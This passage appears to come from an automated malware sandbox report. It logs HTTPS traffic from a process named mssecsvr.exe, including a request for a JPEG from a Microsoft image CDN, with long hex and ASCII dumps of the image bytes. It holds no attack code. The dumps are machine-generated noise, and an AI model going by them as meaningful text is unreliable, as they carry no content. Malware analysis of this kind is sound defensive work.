2022-07-20 11:24:38 UTC	5540	IN	Data Raw: 00 5c bf 7e a3 f2 ee 55 24 55 fe 2a 43 bf 42 36 d2 77 49 1b 43 3c 7b 2a 45 d3 fc af 9b cf fb bf f2 d2 3f e0 a6 ee 66 f9 bc ba 92 66 96 2f 95 bc b8 df 7e ff 00 f6 2a b5 26 c8 74 93 7f cf 49 3f f6 7f e1 a8 5a 45 69 36 f9 7f c7 52 32 f9 bf bc 6f be df f3 ce a3 92 1d df 77 f8 aa 4b 34 17 c2 3a 9b 4f 1c 2b 61 3a 3b 26 f8 7e 4f bf f2 d5 5b 5b cd 57 c2 5a 94 73 5b c8 f6 57 b1 7c ff 00 dc af 44 f8 4f e3 69 74 df 32 ce fb 52 83 ec 51 7c e9 1d f2 6f ff 00 be 4d 7a 75 e4 3e 13 f1 e4 ff 00 67 9a 38 2e af 62 87 e4 f9 19 1f 6f d6 bb 69 d2 e7 57 8c b5 ec 71 54 aa e0 ec e3 a7 74 66 fc 2b f8 99 ff 00 09 e4 ff 00 65 d7 27 b1 fe d5 d9 fb 9f 21 f6 79 db ba 8f f7 ab bc b8 d3 e0 b3 8f cb 6f 93 77 c9 e5 c9 5e 33 e2 6f 80 f3 d9 dd 7d bb c3 33 c8 e8 af bd e0 ff 00 97 84 db fd c3 Data Ascii: \~U$UCB6wIC<{E?ff/~*&tI?ZEi6R2owK4:O+a:;&~O[[WZs[W\|DOit2RQ\|oMzu>g8.boiWqTtf+e'!yow^3o}3
2022-07-20 11:24:38 UTC	5563	IN	Data Raw: ad 5d 33 e7 7b 8f 80 ff 00 1a fc 55 ac 6b 53 69 36 1e 0b d5 ee 16 65 9a 69 e4 b5 93 f8 97 7f c8 b2 e7 f5 35 ef 7f b3 7d bd 97 83 7c 2d a9 78 37 e2 9e 83 a6 e9 f7 ba c4 ac ef a8 e9 d1 b2 5a dc c6 bf c3 2e dc 2c 6c bd bb 57 51 e0 3d 15 6d e5 d4 b5 1b 3d 47 ed 53 c5 e4 de 7f 67 5a c9 b1 9e 2f 9f 7c ca 9d d1 bd 3d 6b bf d4 ad 75 75 92 3b ab 7d 4b 4d 7b 7b d7 59 a1 82 fa d7 cd 7d aa bf ea d7 e6 db 9f e2 ac 1d 29 54 92 a9 27 76 bc 91 b3 c4 25 1f 67 6b 27 e6 d1 f0 cf c4 7f 8d da af c2 8f 1d 6a 5e 13 f0 9c fa ad ce 9b a5 ea 7e 56 98 f6 3e 64 b7 10 5b 6e dc bb 64 03 f7 91 61 cf ca df 9f 15 ed bf 06 7f 6a 8b 2f 1f 5c 6a 36 f7 ba ac f0 ea b6 31 32 59 68 fa fd 97 92 f7 f7 38 fb 9e 62 fc bf c3 ec 7d 6b 57 e2 55 b7 8a bc 2b ac 41 e2 7b 5f 1b da 43 74 f7 71 cb 16 95 fd Data Ascii: ]3{UkSi6ei5}\|-x7Z.,lWQ=m=GSgZ/\|=kuu;}KM{{Y})T'v%gk'j^~V>d[ndaj/\j612Yh8b}kWU+A{_Ctq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	50601	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:37 UTC	1022	OUT	GET /cms/api/am/imageFileData/RWEJpJ?ver=c97d HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 11:24:37 UTC	1120	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWEJpJ?ver=c97d Last-Modified: Sun, 17 Jul 2022 15:37:59 GMT X-Source-Length: 660796 X-Datacenter: northeu X-ActivityId: 016ef871-c7e9-4d01-8609-ca02119bfa5c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 660796 Cache-Control: public, max-age=188050 Expires: Fri, 22 Jul 2022 15:38:47 GMT Date: Wed, 20 Jul 2022 11:24:37 GMT Connection: close
2022-07-20 11:24:37 UTC	1121	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 11:24:37 UTC	1208	IN	Data Raw: c9 23 ab b2 58 d1 e4 79 75 5c e8 39 64 67 fe f2 8f 32 4a d0 9e 3a 62 55 5f 4b 92 52 f3 e4 8e 9f e7 54 f3 c1 e6 54 11 da d3 02 74 92 a6 f2 fc ca 87 cb ab 49 1c 95 94 ad d0 a8 ee 11 da 54 d1 d8 c7 4a 95 32 56 57 7d 0d a3 15 6b 8c fb 0c 74 7d 86 a7 e6 9f 46 bd c7 ca 8a bf 61 a3 ec 31 d5 da 2a 5b 6b 70 e5 46 77 f6 6c 75 24 76 b5 76 8f 2e 97 33 ea c2 cb a1 56 38 2a 78 e0 a7 f9 74 fd 94 73 14 43 b0 d3 fc 9a 7d 49 cd 4e bd 4a e5 7d 48 3c 9a 82 4b 58 e4 ab dc d1 e5 d3 4d ad 85 ca d9 97 26 95 1d 41 f6 1f f3 9a db e6 8f 2e a9 4d a0 f6 68 c1 fb 2d 47 25 ad 6f 49 05 33 c9 aa f6 8c ce 54 d1 89 f6 4a 67 91 25 6f 79 34 79 09 54 ea 49 0b d9 a3 13 cb a9 23 8e b5 e4 82 3a 67 d9 6a b9 85 cb 63 2b 65 2f 91 e6 7c fe 4f ef 6b 53 ec 91 d2 79 15 17 2f 94 cf f2 e8 f2 e4 ad 0f 22 Data Ascii: #Xyu\9dg2J:bU_KRTTtITJ2VW}kt}Fa1[kpFwlu$vv.3V8xtsC}INJ}H<KXM&A.Mh-G%oI3TJg%oy4yTI#:gjc+e/\|OkSy/"
2022-07-20 11:24:37 UTC	1224	IN	Data Raw: 28 f3 28 28 7d 14 cf 32 8f 32 80 1f 45 33 cc a6 79 d1 fd ca 00 9a 8a ad 35 f4 76 f5 07 f6 c5 a5 34 9f 61 73 23 42 8a a5 06 a5 05 c4 db 12 ad 79 94 b5 ea 09 a7 b0 c9 23 9f f8 26 a2 3f b4 7f 1f 93 4f a2 80 b0 fa 29 94 79 94 9b b0 c7 d5 67 f3 3c 9f f5 35 66 8a 77 b0 18 b2 5a c9 24 df ea 6a 78 2d e7 b7 fb 90 d6 9d 43 3d d4 96 fe 4e c8 7c ea be 63 3e 42 94 70 5d c7 f7 2b 42 08 e4 f2 bf 7f fe b6 a4 8f fb f4 4f 3c 16 76 93 4f 75 34 30 db 47 1f 9b 24 d3 7f cb 3a 99 48 b8 ae 57 72 0d 4b 52 b4 d0 f4 fb cd 46 f6 6f 26 c6 de 3f 36 49 ab e2 df 8b 1f 14 2f fe 28 6b 90 cf 3f ee 74 8b 79 3f e2 5b a7 ff 00 ed 59 3f db ad bf 8e 9f 1e a4 f8 81 37 f6 46 83 fb 9f 0d 5b c9 fe bb f8 ee df ff 00 88 af 1e b1 9f f7 db ff 00 e7 9f fc b6 ff 00 9e 75 c7 56 32 94 6e b6 35 8d 27 2d 64 Data Ascii: (((}22E3y5v4as#By#&?O)yg<5fwZ$jx-C=N\|c>Bp]+BO<vOu40G$:HWrKRFo&?6I/(k?ty?[Y?7F[uV2n5'-d
2022-07-20 11:24:37 UTC	1257	IN	Data Raw: 08 ff 00 eb 95 41 e6 79 9f 72 a8 8e 52 79 27 f2 e1 a8 24 9a 89 20 93 f8 e1 f2 65 a8 24 8e 48 fe fd 25 15 d4 52 bf 50 8e 69 24 a9 e0 92 aa c1 fb ba 9e 08 fc c8 76 79 d5 6f 6b 09 26 f6 26 7a 65 32 48 fc bf fa 63 50 49 3f 97 52 39 13 c9 27 97 47 99 fd fa a3 f6 a9 3c ef 92 a4 9f fb ef 55 66 b7 33 d1 ec 5a f3 3c bf 9e a0 f3 3f b9 4f b5 82 4b 8f b9 44 91 c9 1f df 86 96 8b 72 b5 ea 12 47 4c 7a 7f fb 94 cf 2e 4f e3 a1 00 95 2f 35 07 ef 2a d4 11 c7 e4 cd be 9b d1 5c 69 5d d8 8e 49 23 8f fe ba d4 32 3d 4d e5 c7 ff 00 3d aa ad bc f1 ff 00 1d 1d 2e 22 79 3c c8 e8 f3 e4 8f e7 a7 cf 24 77 1f 72 aa f9 92 7d ca 8b dc a9 2e 57 62 7f b5 49 27 df 9a a7 f3 fc ba a2 92 7d 9f fd 7d 43 3c f1 d5 da e4 6c 5d 8e fa 4a 9f ed d2 7a 56 74 13 ff 00 cb 4a 3c ff 00 e3 a5 ca 85 ce ed 76 Data Ascii: AyrRy'$ e$H%RPi$vyok&&ze2HcPI?R9'G<Uf3Z<?OKDrGLz.O/5*\i]I#2=M=."y<$wr}.WbI'}}C<l]JzVtJ<v
2022-07-20 11:24:37 UTC	1337	IN	Data Raw: 3d 4b e4 9c 8c 19 24 a7 c1 e5 c9 37 ef fc ef 2b fe 7b 43 5d 65 af 83 a3 b7 bb f3 ff 00 e3 ee 2f f9 e3 34 bb 2a d4 fa 3e 9b 1e a1 f6 a9 ff 00 d6 7f cf 1f e0 ac 1d 78 6d 1d 4e 88 e1 e4 b5 7a 1c ef d9 74 df 3a 1f 22 f2 69 bf eb b7 dc a9 2f a4 b0 92 6d f0 7e e7 cb ff 00 9e 35 a1 71 63 04 9a 87 da bf 73 ff 00 5c 7f 82 89 2d 63 92 ef ed 4f e4 f9 b1 ff 00 df 15 1c eb b9 5c a9 6c 67 ff 00 a2 5c 43 be 4f 3a 6f fd 0e ad 48 9e 1e 8e 6f 9f 4d bb 9b fe 7a 7e f7 65 5d d5 35 cd 4b 54 87 c8 9f ca f2 bf e9 8c 5b 29 f1 dd 7d b2 1d 97 5e 4f fd fa a9 72 76 4d 9a 26 af 63 3f fb 4b c2 f1 ff 00 cc 1e ef fe fe d3 e4 d6 3c 3d 27 c9 06 83 37 9b ff 00 2c ff 00 7b fe b2 a0 ba 9f c3 5a 7c 3f e9 b7 90 c3 e6 7f cb 19 a5 fe 3a 92 4f 89 5e 17 d2 ed 3c 8f ed 2b 49 a2 b7 ff 00 9e 32 ff 00 Data Ascii: =K$7+{C]e/4*>xmNzt:"i/m~5qcs\-cO\lg\CO:oHoMz~e]5KT[)}^OrvM&c?K<='7,{Z\|?:O^<+I2
2022-07-20 11:24:37 UTC	1400	IN	Data Raw: 00 96 be 4d 15 4e d6 c7 cc 9b 7b ff 00 c7 b4 74 56 8a c9 6e 57 39 e4 3a 6f 8f 2e fc 2f 34 c9 3c 31 4d 6d e5 ff 00 a3 7e f5 ff 00 77 5d 7d af 8d 63 f1 e7 db 1e eb 47 86 69 64 8f fd 6f fc f3 ff 00 69 5a bc be 0b 1f ed 08 66 47 9b f7 51 ff 00 cb 1f e3 ff 00 80 d6 bf 86 67 93 c1 f7 73 41 04 d0 c3 15 c6 c9 7c 9b b9 7e 4f 97 f8 6b f2 fc 56 5b 4e 29 d7 a1 1f 7c fb 2b ec a4 f4 3d 0e fa 48 3c 1f 77 67 65 ad de 4d 69 f6 8b 64 8a 39 bf e7 a2 7f 76 4a e5 f5 5b e8 2e 26 9b ec 5e 4c 36 32 49 fb bf fe c6 a7 d3 74 eb 1f 18 43 f6 5b af b5 c3 6d 71 73 e6 49 0c 3f 3b da 7f b9 b9 b7 56 d7 8f 3c 39 3e 87 75 e7 c1 79 f6 b8 a3 ff 00 96 df 26 cf 97 fd 95 fe 3a 8c b6 b4 68 d5 58 6a b3 bd 47 ab ed ff 00 0e 4d 44 9a e6 b6 87 2f 24 10 7d 92 1b a7 ff 00 44 96 49 29 9f da b2 5b cd 35 Data Ascii: MN{tVnW9:o./4<1Mm~w]}cGidoiZfGQgsA\|~OkV[N)\|+=H<wgeMid9vJ[.&^L62ItC[mqsI?;V<9>uy&:hXjGMD/$}DI)[5
2022-07-20 11:24:37 UTC	1496	IN	Data Raw: 5f f2 ce 1a 53 b5 f9 6c 9d fc 87 15 72 1b ef 89 ba 94 90 fd 8a d6 ce d2 1f 33 fd 5c 33 44 9f bc dd fd ea ab a3 da da 78 6e 6b 39 fe c7 69 0d f7 fc f6 9b e7 f9 da a6 d4 a3 d3 74 ff 00 27 c8 fd f7 99 b3 fd 77 f7 ff 00 de ae 6e 7d 56 3b 8f 93 f7 33 5c ff 00 cf 1a d2 9c 53 ba a7 1b 26 27 7e a7 57 3d d6 9b 71 37 9f a8 43 35 df fc f3 86 18 be 4f f8 17 f7 ea 94 9e 11 d0 b5 4b b9 a7 b5 fe d0 b4 f3 3f d5 da 4d ff 00 8f 57 35 75 3c f1 fc 93 f9 d0 cb fe ab f7 35 af 07 8c 75 3f b5 ff 00 67 59 79 d3 79 9f f2 c7 ca f9 e9 fb 0a 91 7c d4 dd be 7a 09 49 37 66 77 30 f8 72 ef 50 b4 fb 15 96 9b 14 da 64 7f bd b9 fd ee c7 f9 7f bd fc 35 0c fa 57 d9 ee f6 3e b1 0e 9d a6 7f cb 4f 27 e7 ae 76 49 3c 51 f6 49 ad 61 f3 ad 2d a3 93 fd 4f f0 7c df c5 46 93 e0 bd 5b c4 93 43 6b 3d e5 Data Ascii: _Slr3\3Dxnk9it'wn}V;3\S&'~W=q7C5OK?MW5u<5u?gYyy\|zI7fw0rPd5W>O'vI<QIa-O\|F[Ck=
2022-07-20 11:24:37 UTC	1567	IN	Data Raw: c7 5d a9 5d 47 a7 f9 d6 ba bd e5 a4 d1 49 fb db 98 61 f9 fc b7 fe 0a 64 ff 00 d9 b6 fa 7c 3f b9 9b ca ff 00 9e df 72 b0 74 7f 0a c9 71 67 be ea 68 7c d8 ff 00 7b 1c 3f 3b ff 00 df 4b 57 75 2d 72 7d 2e 68 6d 52 1f f5 71 ff 00 a4 ff 00 68 c5 f2 56 52 a6 94 ed 4d dd fd c6 44 f3 ff 00 66 fd 92 f1 ee af 3c 9f 2e 3f dd da 43 f7 e3 ad 18 3c 39 06 8f e4 dd 7e fa 6b e9 23 fd e4 de 6a 6f ff 00 7a b1 23 d6 24 b3 b4 87 c8 fb 27 ee ff 00 7b 27 93 17 cf 5c f5 f7 8d 2e ef 2e e1 f3 fc e8 7c b9 3f e0 71 d6 d1 a3 5a 5b 32 9d 45 1d 4f 46 d2 f5 2b 4f 27 ec 49 fb 9b 58 ff 00 79 73 0f df ac 7b af 18 c9 a3 cd 79 6b a7 79 36 92 c9 fb a9 3f 75 b3 ed 69 fd d6 ff 00 66 a1 b1 d7 2c 34 f8 7f e3 cf ce 97 cb f3 64 bb 9b fd aa da 83 4b b0 ff 00 84 67 cf 9f 52 b4 bb fb 44 9f bb ff 00 44 Data Ascii: ]]GIad\|?rtqgh\|{?;KWu-r}.hmRqhVRMDf<.?C<9~k#joz#$'{'\..\|?qZ[2EOF+O'IXys{yky6?uif,4dKgRDD
2022-07-20 11:24:37 UTC	1583	IN	Data Raw: ee 3d 5d b5 f0 5f fc 26 96 90 ea 9a 5c da 7e 9d 14 9f f2 c6 cf e4 4f fe 27 7f f7 ab c8 bc 55 75 7f e1 bd 5a 18 27 fe d0 b4 ff 00 49 79 7c e9 a2 74 f3 36 ff 00 b3 5d 18 7a 98 8a b2 f6 34 6b b8 db a7 60 94 54 57 bc 8f 4c b5 d2 b4 2b 7d 3f ed 5a 76 9b a7 f9 9f ea bf 7d f3 bf fe 3d 47 f6 e4 f1 cd e4 24 d3 43 e5 ff 00 ac 9a 6f b9 1d 73 7a 3f 88 fe d1 69 37 91 a9 79 36 d2 5c f9 b2 79 df 23 ef ae 87 55 d2 75 af 16 5d d9 d9 41 fb e9 6e 63 f3 7f b4 3f 82 4d b5 af b3 71 92 58 89 7c db 1a e5 e8 67 5f 6a 32 47 34 ce 97 9f 6b ff 00 ae d5 3c 1a cf ee 76 7f cb 29 3f d5 cd 0c bf 27 fb 5f ee d1 e2 3f 00 df e8 77 7a 6f f6 74 d0 ea f1 5c 47 fb c9 be e7 ef bf 8a ae c1 e1 c8 f4 ff 00 9e f6 6f dd 49 fe b3 c9 96 b7 f6 b4 63 05 28 4a f7 25 c5 99 fa c6 9b 69 6f 34 30 26 9b e7 79 Data Ascii: =]_&\~O'UuZ'Iy\|t6]z4k`TWL+}?Zv}=G$Cosz?i7y6\y#Uu]Anc?MqX\|g_j2G4k<v)?'_?wzot\GoIc(J%io40&y
2022-07-20 11:24:37 UTC	1782	IN	Data Raw: ba 90 74 3a 3c 1a 4e 8f 34 cf fe ba e6 de 3f 37 c9 bc f9 ff 00 d9 db fe f5 3f 55 f1 05 a5 be 9f 0d 94 fe 74 d1 47 fb df 26 1f 93 cb 76 fe 2f c6 b8 d8 3c 47 26 a1 a8 7f a9 9a 19 7f e5 9c d0 fd cf f8 16 ea bd 26 9b a6 47 e4 bd ec df da 3e 64 9f f3 d7 e4 ff 00 81 56 d2 c3 47 99 3a d7 7b 32 f9 9c 55 91 a1 63 75 61 71 ff 00 13 4d 3a f2 6b 3f 2e 4f 2b f7 d2 ef ff 00 be 6b 3e 0d 62 08 ff 00 e4 1d 34 de 57 ef e5 fd f4 bf f7 d5 55 be ba 8f 5c b4 99 2d 61 fe ce b6 8e 4f dd dd c3 15 67 78 47 c2 32 6b 96 9e 7e a1 fb 9b 18 ee 7c a8 a1 ff 00 9e 9f de ff 00 80 57 4c 69 53 84 1c aa 3d 84 ae b6 20 d2 bc 63 06 9f a8 5e 4e f0 fe f6 e2 37 8b fe fa ff 00 96 95 b1 6b a3 eb 5a c6 9f 33 e9 d0 c3 0f 97 b2 59 26 9a 5d 9f f6 ca ba bd 37 c3 fa 2e 9f ab 59 bc 1a 6d a7 fa 3e fb 9f df Data Ascii: t:<N4?7?UtG&v/<G&&G>dVG:{2UcuaqM:k?.O+k>b4WU\-aOgxG2k~\|WLiS= c^N7kZ3Y&]7.Ym>
2022-07-20 11:24:37 UTC	1870	IN	Data Raw: bf dd af a0 b4 ab a8 2e 3e 1e f8 3d ed 6f 2e f4 ef b4 49 24 97 b0 e9 d2 a3 fd 82 65 ff 00 96 0e 9f 3b 4b 0c 9f c3 5d 35 b1 78 fc 1a 52 a9 25 a6 96 be 9f 77 52 13 8c dd d2 3c 0e 7d 0e 7b 79 a1 49 e1 9b 4e 97 fe 5a 43 f7 e0 93 fd c6 a9 e7 d2 b5 2d 42 68 6f 6c a1 f3 6e 7e 78 bf d6 ff 00 e8 55 f5 56 95 f0 87 c1 fe 2c d0 ec e7 4b 39 a6 8b cc ff 00 49 96 1f f5 11 ed f9 b6 ff 00 d3 37 3f ed 57 07 e3 4f 85 fa 36 a1 77 ac 6a f7 5a 94 da 1d 8c 72 24 51 e9 3a 77 fc b3 db f7 be ee 5a bb e9 67 d0 9e 93 8d ad d6 c7 62 e5 49 5c f9 f7 52 f8 7b 05 c6 93 ff 00 2e 96 77 32 49 e6 c9 e7 4b 5e 5f 7d a6 ff 00 c2 3f ae 4d 6a ff 00 b9 97 fe 59 cd fe c5 7b 5f c4 af 06 eb 5a 5c d0 e9 da 2d e4 3a b5 8d e4 69 f6 6f de c9 e7 ec 6a f3 ff 00 11 c1 27 83 fc 43 a9 78 5f c4 ba 6c 5a 8d f6 Data Ascii: .>=o.I$e;K]5xR%wR<}{yINZC-Bholn~xUV,K9I7?WO6wjZr$Q:wZgbI\R{.w2IK^_}?MjY{_Z\-:ioj'Cx_lZ
2022-07-20 11:24:37 UTC	1918	IN	Data Raw: 18 35 7d 36 1b bb 9b 7f dd 47 0c df b8 fb b5 46 0f 1c 5a 47 37 db ac b4 7f f4 9f 33 cd 92 69 bf f6 5a d4 92 c6 c3 e2 46 b9 35 d3 de 7f a7 47 1f ee ed 26 fd c2 7f df 5f ed 56 51 a5 28 de a6 29 37 6f b5 a5 ff 00 02 27 28 ce 3e ea 27 8f c4 df 68 ff 00 51 a6 c5 34 b1 c9 fb b8 61 89 3f 79 59 d7 16 b7 7a e7 9d 3d f6 8f 34 3a 9c 7b 3c bf 27 e4 f3 13 fd ca a5 f0 fe 4b 4d 1f ce d4 7c ef b2 4b e6 3c 51 c3 e6 ef 78 f6 d7 6b a5 5d 6a da a5 9c d3 d9 79 da 8f ef 3c d8 fe e6 ff 00 97 f8 53 f8 9a b4 94 63 87 93 70 e9 d4 50 a6 9e a7 23 a9 5a ea 5e 17 9a 19 92 69 a1 b6 93 f7 be 74 df f8 f5 55 ba fb 25 e4 d0 bd af 93 35 cf fa df 26 68 9f 64 93 57 79 75 e7 c7 e4 a6 a3 67 34 37 d2 7f ab b4 bc b4 d9 f7 ab cc bc 65 04 fa 7c 30 ef b3 9b 48 be f9 ff 00 dc ff 00 80 57 65 0a 8e ab Data Ascii: 5}6GFZG73iZF5G&_VQ()7o'(>'hQ4a?yYz=4:{<'KM\|K<Qxk]jy<ScpP#Z^itU%5&hdWyug47e\|0HWe
2022-07-20 11:24:37 UTC	2004	IN	Data Raw: fe 3d 3e 69 f4 eb 3f 3a 2d 46 34 ff 00 53 f3 fc f5 6a 0f 01 c9 a7 e9 f7 9f 6a bc 9a 19 64 d9 e5 ff 00 d3 3a ec a4 f1 05 a7 87 ed 3e 48 61 9b cb ff 00 9e 35 ca 5f 78 e3 cc f9 ec ac fc 9f 2f f7 b2 4d f7 eb 8e 95 6c 45 76 dc 23 68 99 f2 72 99 16 37 57 fe 1b 86 64 b5 bc 87 ca fb 4f 95 fd a1 ff 00 3d 3f d9 7a e8 63 d7 3c bb 39 93 ce 9b 51 f3 3f 75 fb ed 89 5c 54 12 6a 5e 28 9a f1 2d 61 9a 68 a3 8d e5 92 68 76 25 51 b1 d4 a0 bc d7 3e d5 3f ef ad 7c b4 8a 48 6b d5 f6 2a a3 bc b5 64 b9 38 ec 75 1e 26 f1 55 85 c6 9f 66 90 69 b0 c3 73 6f 1f d9 bf 73 f7 3f d9 a3 c1 73 dd c9 e2 6b 3b a7 9a 6f 36 de 4f 36 4f de ff 00 1d 71 ba a4 f1 ea 1a b4 d3 bf 93 0c 57 12 7f a9 86 b6 3f e1 1c fe c7 d2 7e db 06 a5 69 2c 56 f2 7f ae f3 76 3d c6 ef ee 2d 2a 94 61 1a 7c 89 d9 cb 4f bc Data Ascii: =>i?:-F4Sjjd:>Ha5_x/MlEv#hr7WdO=?zc<9Q?u\Tj^(-ahhv%Q>?\|Hkd8u&Ufisos?sk;o6O6OqW?~i,Vv=-a\|O
2022-07-20 11:24:37 UTC	2100	IN	Data Raw: 5a e6 a5 61 1c d0 d9 59 79 33 5c c7 be 59 26 87 fd 47 9c b5 9d 78 3f 64 e1 08 dd 97 2b 35 a9 97 a3 f8 fe 78 f5 18 61 d5 3c 9b bf 2e 4f f9 e5 5e 8d e1 fd 1f 52 93 4f 99 f4 e9 bc 9b 69 3f d1 a3 d4 21 8b e7 f9 be ff 00 fe 3b 5c 57 87 23 d2 6d e1 9a 79 ef 3c 99 64 ff 00 59 e7 45 fc 6d fc 2b 5d ac 1f 6f b3 f0 f7 da a0 87 fe 25 9e 67 95 e7 43 2e f4 8e b9 61 87 74 63 fb c6 b5 fc ce 3a 71 51 57 65 ad 2b c3 37 16 76 90 a4 f7 9f 6b fd e7 ee fc 9f bf b3 ff 00 66 cd 4f 6b e1 cf ed 09 a6 bd f3 ad 21 b9 b7 91 e5 fd cc 4f fb b4 6a 34 7f 1a 41 a7 c3 bf 54 87 fb 46 5f 2f f7 70 f9 de 42 7f df 55 b7 63 a9 5a 78 83 4f 99 f4 b8 61 86 2b df f5 9f 6c f9 de 3d bf dd ad 7e b0 e2 f9 5c 5a f3 e8 76 46 50 9e c6 3c 1a 54 72 4d a6 dd 5e c3 fb db 79 1e 58 ed 3e fa 6c fe eb d5 2b 5f 0f Data Ascii: ZaYy3\Y&Gx?d+5xa<.O^ROi?!;\W#my<dYEm+]o%gC.atc:qQWe+7vkfOk!Oj4ATF_/pBUcZxOa+l=~\ZvFP<TrM^yX>l+_
2022-07-20 11:24:37 UTC	2172	IN	Data Raw: ff 00 3f 7f 3f fb ab b6 bc b3 47 f1 77 d8 fc 33 fd 89 a8 c3 f6 b8 a3 8d fe cd ff 00 6d 1f e6 93 fd e1 5d 5f 87 fc 39 a9 5c 69 f0 a4 1a c4 37 7e 64 6f fb ef 35 dd 2b 82 ad 19 d2 73 7c fc 89 bb e9 d4 da 33 56 b3 8d c9 ed 7c 0f 77 a1 dd de 5e c1 34 3e 55 bc 9e 54 70 f9 bf eb 21 6f ef 37 f0 54 d1 f8 c6 7d 2f ec 7a bd 97 ee 6e 63 ff 00 46 97 ce 89 37 c8 9f c5 bb fb d8 ac fd 73 4d d4 bc 3f a1 cc 9a 8f 9d 35 cf fa d9 26 b3 ff 00 51 71 ff 00 02 a8 35 8f 88 df da 9e 08 d1 f4 48 3e c9 0c 52 7e f2 48 6c e2 d8 fb d7 fb f4 9c 67 88 71 92 5c e9 bb 37 d9 14 a5 18 a6 f6 ff 00 33 a5 d1 fc 79 fd 9f ae 59 ff 00 65 f9 37 72 c9 72 f1 49 f6 c8 bf bd f7 36 d6 d6 ab ac 6b 52 6a da 3d ee a9 e4 c3 ff 00 2d 64 86 19 7f f6 55 f5 ac 5f 0c c9 27 85 ed 2c ec a0 d0 61 f3 7c b7 b9 93 56 Data Ascii: ??Gw3m]_9\i7~do5+s\|3V\|w^4>UTp!o7T}/zncF7sM?5&Qq5H>R~Hlgq\73yYe7rrI6kRj=-dU_',a\|V
2022-07-20 11:24:37 UTC	2235	IN	Data Raw: 23 5d c9 6b 32 41 a3 cd e5 5b ec f2 e6 fe 0b 7a d8 bb f8 a3 f6 cd 27 c8 9e ce 1b 4d 0e e2 e7 fd 26 68 7f d7 4f 71 f7 be 6a db 19 4f 34 a9 a4 2a 7b af ca 3f e4 17 49 f3 16 7c 47 a6 e9 3e 1f 87 fe 25 13 4d e6 dc 47 fb b9 a1 97 e4 93 fe fa ae 1e eb 55 bb d3 ff 00 e2 63 e4 ff 00 ac fd d7 da fc da a3 e3 4f 13 41 a8 5d c3 e4 43 34 31 7f aa f2 66 ff 00 d0 ab 7b e1 8c 71 d9 e9 f7 9a bc fe 4d df df b6 8e 1b cf b9 5d b4 a9 cb 0b 85 f6 95 93 94 9e 9e 6f c8 70 6e 6e cc 87 47 f1 dc fe 4e c4 ff 00 4b 96 4b 9f f5 35 1e 93 e3 8d 37 c1 fe 21 9a 7d 47 47 87 5c 97 cc f3 6d a1 f3 7f e3 dd ff 00 bd 5c df 8a a3 b4 b3 f1 0f 9f a2 7e e6 29 23 f3 7c 9f 37 7d 75 1f 0f 7c 1d 69 e2 4b 4f ed bd 53 4d 9a 6d 32 cb f7 5e 74 3f 23 dc 4d ff 00 3c f7 7f b3 de bd 09 3c 3e 1e 93 c4 cd 59 35 Data Ascii: #]k2A[z'M&hOqjO4*{?I\|G>%MGUcOA]C41f{qM]opnnGNKK57!}GG\m\~)#\|7}u\|iKOSMm2^t?#M<<>Y5
2022-07-20 11:24:37 UTC	2347	IN	Data Raw: 62 b9 eb 1d 62 d3 54 86 1b a7 b3 8b 43 b6 8f fe 3c a6 f3 7c e4 93 fd 96 4f e0 aa 9a af 8b b5 6b 3d 3e 6d f6 73 7d a6 39 3c a8 ff 00 e7 bf f7 bc cf f7 3f bb 5e 56 23 11 8a ad 56 50 51 4a fb de f7 d7 ce f6 31 e7 51 5a 9d 2d d6 b9 1f fc 24 3f db 77 ba 0f fa 4d 94 6f 2d b4 d0 ef d9 fb bf b9 fe cf fc 06 b0 63 fe c5 b8 9b fb 51 e1 86 1b ef 33 cd fd cf ce 9b ff 00 8b f3 ae 0e eb c5 b7 77 9e 4c fe 74 df 69 f3 13 ec d6 93 7d fb 87 ff 00 9e 9f 2f a5 6b f8 aa fa d3 4f d2 61 83 ce f3 a5 93 fe 3e 7c 9f ef d7 55 0c bf d8 b8 c7 ed 3d 34 6f 65 d3 5b 87 b5 72 dc b5 27 88 35 2d 42 ef 64 fe 74 d6 b2 49 fb bb b8 6a ad af 88 e4 f1 06 ad 67 6b 6b a9 4d 69 2c 91 bc 52 79 db 13 cc 4f ee a5 72 fa e6 a5 fd a1 a7 e9 b6 b6 56 70 e9 d2 ff 00 cb 49 a1 bb 7f b9 fe da 7f 05 74 bf 0f 6e Data Ascii: bbTC<\|Ok=>ms}9<?^V#VPQJ1QZ-$?wMo-cQ3wLti}/kOa>\|U=4oe[r'5-BdtIjgkkMi,RyOrVpItn
